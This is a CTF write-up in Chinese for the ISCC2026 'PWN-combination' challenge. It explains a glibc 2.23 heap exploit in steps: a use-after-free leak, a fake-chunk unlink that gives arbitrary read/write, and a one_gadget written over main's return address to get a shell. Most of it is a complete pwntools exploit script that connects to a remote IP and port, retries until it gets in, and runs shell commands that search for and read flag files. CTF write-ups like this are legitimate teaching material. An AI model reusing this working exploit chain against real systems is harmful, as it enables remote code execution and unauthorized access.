PWN-combination
ISCC2026 WriteUp 提交模板
PWN-combination
解题思路
题目二进制和配套 libc 分别是:
combination_finallibc.so.6
保护情况:
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
已知是 No PIE,所以 .bss 上的全局对象地址固定;又因为 Full RELRO,GOT 不好打,所以后续更自然的目标会是:
- 堆上的全局 note 表
- libc 中的 hook / 栈返回地址

已知程序每轮都会重绘 4 个槽位的 # CONTENT:,而本地调试可以看到 delete 之后只执行了“清 size、保留 memo”这一类操作。因此,虽然这个槽位不能继续正常 edit/delete,但菜单刷新时仍会把已经 free 的 chunk 当作字符串打印出来。



既然 show 路径还会访问 freed chunk,下一步就应该把可打印的 chunk 分别送进 fastbin 和 unsorted bin。原因是:
- fastbin chunk 的链指针可以帮助恢复 heap 布局。
- unsorted bin chunk 的
fd/bk会指向main_arena,所以能直接给出 libc 泄露。
这里使用的布局是:
add(0x88, b"1" * 0x88) # slot 1
add(0x38, b"2" * 0x38) # slot 2
add(0x100, b"3" * 0x92) # slot 3
add(0x40, b"4" * 0x2f) # slot 4
delete(3)
delete(1)
本地跟堆布局后可以看到,slot 1 对应的用户区起点固定是 heap_base + 0xc0,所以:
heap_base = leak_note1 - 0xc0
同时,slot 3 进入 unsorted bin 后,显示出来的是 main_arena+0x58 一类的指针。题目给了配套 libc.so.6,因此偏移可以直接从这份 libc 里取出:
MAIN_ARENA_88 = 0x3c4b78
libc_base = leak_note3 - MAIN_ARENA_88
这一步的结果是拿到两个后续必须的基址:
heap_baselibc_base
它们分别决定 fake chunk 应该伪造到哪里,以及最后栈回写时要写入哪个 one_gadget。
有了 heap_base 以后,下一步目标就从“信息泄露”变成“稳定读写”。已知这题的 edit 不是直接把输入写回原 chunk,而是先过一层 tinypad.buffer,再走 strcpy 一类的复制逻辑。这个细节非常重要,因为它意味着 payload 里只要有 \x00,拷贝就会提前截断。
因此这里不能一次性把 fake chunk 头完整写进去,而要分成两步:
- 先用没有 NUL 的占位字节把
prev_size和相邻 chunk 头铺出来。 - 再利用多次缩短输入长度的
edit,让strcpy在更短的位置自动补\x00,逐步把真正需要的 NUL 字节“收缩”出来。
核心代码如下:
fake_chunk = TINYPAD + 0x30
fake_prev_size = heap_base + 0xc0 - TINYPAD
prev_size_field = fake_prev_size - 0x30
stage1 = b"b" * 0x30 + p64(prev_size_field).replace(b"\x00", b"z") + b"\x10\x01z"
edit(2, stage1)
raw = p64(prev_size_field).replace(b"\x00", b"")
for shrink in range(1, 12):
if shrink in (2, 3):
continue
if shrink >= 12 - len(raw):
break
edit(2, stage1[:-shrink])
这一步做完之后,相邻 chunk 的 PREV_INUSE 已经被清掉,fake chunk 的 prev_size 也已经被“雕”成了正确值。接下来再在另一个 chunk 里伪造 fd/bk 指针:
fake_header = (
b"a" * 0x30 +
p64(0) +
p64(0x101) +
p64(fake_chunk) * 2
).ljust(0x100, b"\x00")
edit_clear(4, b"b" * 0x100, fake_header)
delete(1)
这里的关键推理是:既然 delete(1) 会看到前一块“看起来像空闲块”,那 glibc 就会尝试 backward consolidate,并在 unlink 时把 fake chunk 的 fd/bk 当成真链表项写回。由于 fake chunk 被布在 .bss 的 tinypad 全局对象附近,这个 unlink 的写回效果就变成了“改写 note 表本身”。
unlink 之后,还需要把 arena 相关字段修回正常值,否则后面继续 malloc 时堆链会崩。脚本里用的是:
fixup = b"a" * 0x30 + p64(0) + p64(0x101) + p64(arena) * 2
edit(3, fixup)
最后再申请一个大块,把三个槽位重布成“一个数据槽位 + 两个指针控制槽位”:
payload = flat(
b"b" * 0xC0,
0x100, arena,
0x100, NOTE1_PTR_SLOT,
0x100, NOTE1_PTR_SLOT + 1,
)
add(0xF8, payload)
这时的含义是:
- slot 1 变成被重新定向的数据 note。
- slot 2 和 slot 3 分别控制 slot 1 指针字段的不同字节。
因此只要改写 slot 1 的指针,就能让菜单去显示任意地址的内容;而一旦 slot 1 指向可写位置,edit(1, ...) 也就变成了任意写。
既然已经拿到了任意读写,下一步最自然的目标就是找栈。已知 __environ 本身位于 libc 中,并且它保存的是当前栈上的环境变量指针,所以只要先把 slot 1 指向 libc.sym["environ"],就能先读出一个真实栈地址。
脚本没有直接假定“返回地址一定在 environ-0xf0”,而是先做一轮小范围枚举:
for off in (0xf0, 0xe8, 0xf8, 0xe0, 0xd0):
val = read_note1_qword(env_ptr - off)
因为已知这是远端环境,environ 到 main 返回地址的相对距离可能和本地不完全一致。更稳的办法是读取几个候选位置,然后挑出那个“内容看起来像 libc.text 地址”的槽位。脚本用的判据是:
if libc.address + 0x20000 <= val <= libc.address + 0x30000:
ret_off = off
在这次成功跑通的远端样本里,实际读到的是:
environ = 0x7fff0dd196c8
env-0xf0 -> 0x7f0530d93840
env-0xe8 -> 0x1
env-0xf8 -> 0x401dd0
env-0xe0 -> 0x7fff0dd196b8
env-0xd0 -> 0x401819
main_ret = 0x7fff0dd195d8
可以看到,env-0xf0 位置的内容确实落在 libc 可执行段里,所以这里就把:
ret_addr = env_ptr - 0xf0
当成 main 的返回地址。
拿到返回地址后,收尾就简单了。题目给的 libc 是 2.23,远端这条链实际满足的 gadget 是:
REMOTE_ONE_GADGET = 0x45226
于是只要把 slot 1 指向 ret_addr,再改写这 8 个字节即可:
set_note1_ptr(ret_addr)
edit(1, p64(libc.address + REMOTE_ONE_GADGET)[:6])
最后发送 Q 退出菜单,程序从 main 返回时就会直接跳进 one_gadget,拿到 shell。脚本再顺手尝试若干常见 flag 路径:
/flag
/flag.txt
/home/ctf/flag
/home/ctf/flag.txt
./flag
./flag.txt

ISCC{06b8e23e-ac80-450b-8273-717baf7d0ee3}
Exp
from pwn import *
import re
#==============全局配置=======================
ELFpath = "./combination_final"
LIBCpath = "./libc.so.6"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10003
NOASLR = False
RETRY_DELAY = 2
MAX_REMOTE_ATTEMPTS = 120
#===============初始化=======================
context(os="linux", arch="amd64", log_level="info")
io = None
elf = ELF(ELFpath, checksec=False)
libc = ELF(LIBCpath, checksec=False)
#=================简写=====================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
#====================业务常量====================
TINYPAD = elf.sym["tinypad"]
SAFE_PTR_SLOT = TINYPAD + 0x118
NOTE1_PTR_SLOT = TINYPAD + 0x108
MAIN_ARENA_88 = 0x3C4B78
LOCAL_RET_FROM_ENV = 0xE8
LOCAL_ONE_GADGET = 0x45216
REMOTE_RET_FROM_ENV = 0xF0
REMOTE_ONE_GADGET = 0x45226
COMMON_FLAG_PATHS = (
"/flag",
"/flag.txt",
"/home/ctf/flag",
"/home/ctf/flag.txt",
"/tmp/flag",
"/tmp/flag.txt",
"./flag",
"./flag.txt",
)
FLAG_RE = re.compile(rb"ISCC\{[^}\r\n]+\}")
#================工具函数====================
def start():
global io
if LOCAL:
io = process([ELFpath], env={"LD_PRELOAD": LIBCpath}, aslr=not NOASLR)
return io
last_error = None
for attempt in range(1, MAX_REMOTE_ATTEMPTS + 1):
try:
io = remote(HOST, PORT)
io.sendline() # 远端不会主动吐菜单,先喂一个空行
return io
except Exception as exc:
last_error = exc
log.warning(f"remote attempt {attempt}/{MAX_REMOTE_ATTEMPTS} failed: {exc}")
sleep(RETRY_DELAY)
raise last_error
def wait_menu():
ru(b"[*] COMMAND >> ")
def read_note_blob(marker):
ru(marker)
tail = b"\n\n\n+---"
return ru(tail).split(tail)[0]
def add(size, data):
wait_menu()
sl(b"A")
ru(b"[*] MEM_SIZE >> ")
sl(str(size).encode())
ru(b"[*] MEM_DATA >> ")
sd(data)
if not data.endswith(b"\n"):
sd(b"\n")
def delete(idx):
wait_menu()
sl(b"D")
ru(b"[*] INDEX_ID >> ")
sl(str(idx).encode())
def edit(idx, data, confirm=b"Y"):
wait_menu()
sl(b"E")
ru(b"[*] INDEX_ID >> ")
sl(str(idx).encode())
ru(b"[*] MEM_DATA >> ")
sd(data)
if not data.endswith(b"\n"):
sd(b"\n")
ru(b"[?] APPLY_CHANGE? (Y/n) >> ")
sl(confirm)
def edit_clear(idx, first, second):
wait_menu()
sl(b"E")
ru(b"[*] INDEX_ID >> ")
sl(str(idx).encode())
ru(b"[*] MEM_DATA >> ")
sd(first)
if not first.endswith(b"\n"):
sd(b"\n")
ru(b"[?] APPLY_CHANGE? (Y/n) >> ")
sl(b"N")
ru(b"[*] MEM_DATA >> ")
sd(second)
if not second.endswith(b"\n"):
sd(b"\n")
ru(b"[?] APPLY_CHANGE? (Y/n) >> ")
sl(b"Y")
def leak_bases():
add(0x88, b"1" * 0x88)
add(0x38, b"2" * 0x38)
add(0x100, b"3" * 0x92)
add(0x40, b"4" * 0x2F)
delete(3)
delete(1)
heap_leak = read_note_blob(b" # INDEX: 1\n # CONTENT: ")
heap_base = u64(heap_leak.ljust(8, b"\x00")) - 0xC0
log.success(f"heap_base = {heap_base:#x}")
libc_leak = read_note_blob(b" # INDEX: 3\n # CONTENT: ")
arena = u64(libc_leak.ljust(8, b"\x00"))
libc.address = arena - MAIN_ARENA_88
log.success(f"libc_base = {libc.address:#x}")
add(0x100, b"thinkycx")
add(0x88, b"thinkycx")
return heap_base, arena
def build_primitives(heap_base, arena):
delete(1)
delete(3)
delete(4)
add(0x100, b"a" * 0x90)
add(0x88, b"a" * 0x88)
add(0x100, b"d" * 0x90)
fake_chunk = TINYPAD + 0x30
fake_prev_size = heap_base + 0xC0 - TINYPAD
prev_size_field = fake_prev_size - 0x30
# edit 经过 strcpy,不能直接写入带 NUL 的 prev_size。
# 先用占位字节铺满,再靠缩短输入长度渐进式“长出” NUL。
stage1 = b"b" * 0x30 + p64(prev_size_field).replace(b"\x00", b"z") + b"\x10\x01z"
edit(2, stage1)
raw = p64(prev_size_field).replace(b"\x00", b"")
for shrink in range(1, 12):
if shrink in (2, 3):
continue
if shrink >= 12 - len(raw):
break
edit(2, stage1[:-shrink])
fake_header = (
b"a" * 0x30 +
p64(0) +
p64(0x101) +
p64(fake_chunk) * 2
).ljust(0x100, b"\x00")
edit_clear(4, b"b" * 0x100, fake_header)
delete(1)
fixup = b"a" * 0x30 + p64(0) + p64(0x101) + p64(arena) * 2
edit(3, fixup)
payload = flat(
b"b" * 0xC0,
0x100, arena,
0x100, NOTE1_PTR_SLOT,
0x100, NOTE1_PTR_SLOT + 1,
)
add(0xF8, payload)
def set_note1_ptr(addr):
raw = p64(addr)
if raw[0] == 0:
edit(3, raw[1:6])
edit(2, b"\x00")
return
edit(2, raw[:6])
def read_note1_qword(addr):
set_note1_ptr(addr)
blob = read_note_blob(b" # INDEX: 1\n # CONTENT: ")
return u64(blob[:8].ljust(8, b"\x00")) if blob else 0
def hijack_main_ret():
env_ptr = read_note1_qword(libc.sym["environ"])
log.success(f"environ = {env_ptr:#x}")
candidates = []
for off in (REMOTE_RET_FROM_ENV, LOCAL_RET_FROM_ENV, 0xF8, 0xE0, 0xD0):
val = read_note1_qword(env_ptr - off)
candidates.append((off, val))
log.info(f"env-{off:#x} -> {val:#x}")
ret_off = LOCAL_RET_FROM_ENV if LOCAL else REMOTE_RET_FROM_ENV
for off, val in candidates:
if libc.address + 0x20000 <= val <= libc.address + 0x30000:
ret_off = off
break
ret_addr = env_ptr - ret_off
log.info(f"main_ret = {ret_addr:#x}")
gadget = LOCAL_ONE_GADGET if LOCAL else REMOTE_ONE_GADGET
set_note1_ptr(ret_addr)
edit(1, p64(libc.address + gadget)[:6])
wait_menu()
sl(b"Q")
def send_shell(command):
sl(command)
return ru(b"__CMD_DONE__", drop=True, timeout=8)
def fetch_flag():
ready = send_shell(b"echo __CMD_DONE__")
if ready is None:
raise EOFError("shell bootstrap failed")
quoted_paths = " ".join(COMMON_FLAG_PATHS)
flag_cmd = f"""
for f in {quoted_paths}; do
if [ -f "$f" ]; then
echo __FLAG_BEGIN__
cat "$f"
echo __FLAG_END__
echo __CMD_DONE__
exit
fi
done
echo __FLAG_MISS__
find / -maxdepth 3 -type f \\( -iname 'flag' -o -iname 'flag.txt' -o -iname '*flag*' \\) 2>/dev/null | head -n 50
echo __CMD_DONE__
""".strip().encode()
out = send_shell(flag_cmd)
if b"__FLAG_BEGIN__" in out and b"__FLAG_END__" in out:
body = out.split(b"__FLAG_BEGIN__", 1)[1].split(b"__FLAG_END__", 1)[0]
flag = body.strip()
log.success(flag.decode("latin-1", errors="replace"))
return flag
log.warning("flag file not found in common paths; candidate files:")
print(out.decode("latin-1", errors="replace"))
return b""
def extract_flag(blob):
if not blob:
return b""
match = FLAG_RE.search(blob)
return match.group(0) if match else b""
def attack():
heap_base, arena = leak_bases()
build_primitives(heap_base, arena)
hijack_main_ret()
def main():
while True:
start()
try:
attack()
fetch_flag()
return
except EOFError as exc:
try:
banner = io.recvrepeat(1)
except Exception:
banner = b""
flag = extract_flag(banner)
if flag:
log.success(flag.decode("latin-1", errors="replace"))
io.close()
return
if LOCAL:
io.close()
raise
log.warning(f"remote session died early: {exc}")
if banner:
print(banner.decode("latin-1", errors="replace"))
io.close()
sleep(RETRY_DELAY)
except Exception as exc:
try:
banner = io.recvrepeat(1)
except Exception:
banner = b""
flag = extract_flag(banner)
if flag:
log.success(flag.decode("latin-1", errors="replace"))
io.close()
return
if LOCAL:
io.close()
raise
log.warning(f"remote attempt failed: {exc}")
if banner:
print(banner.decode("latin-1", errors="replace"))
io.close()
sleep(RETRY_DELAY)
main()
if io:
io.interactive()

浙公网安备 33010602011771号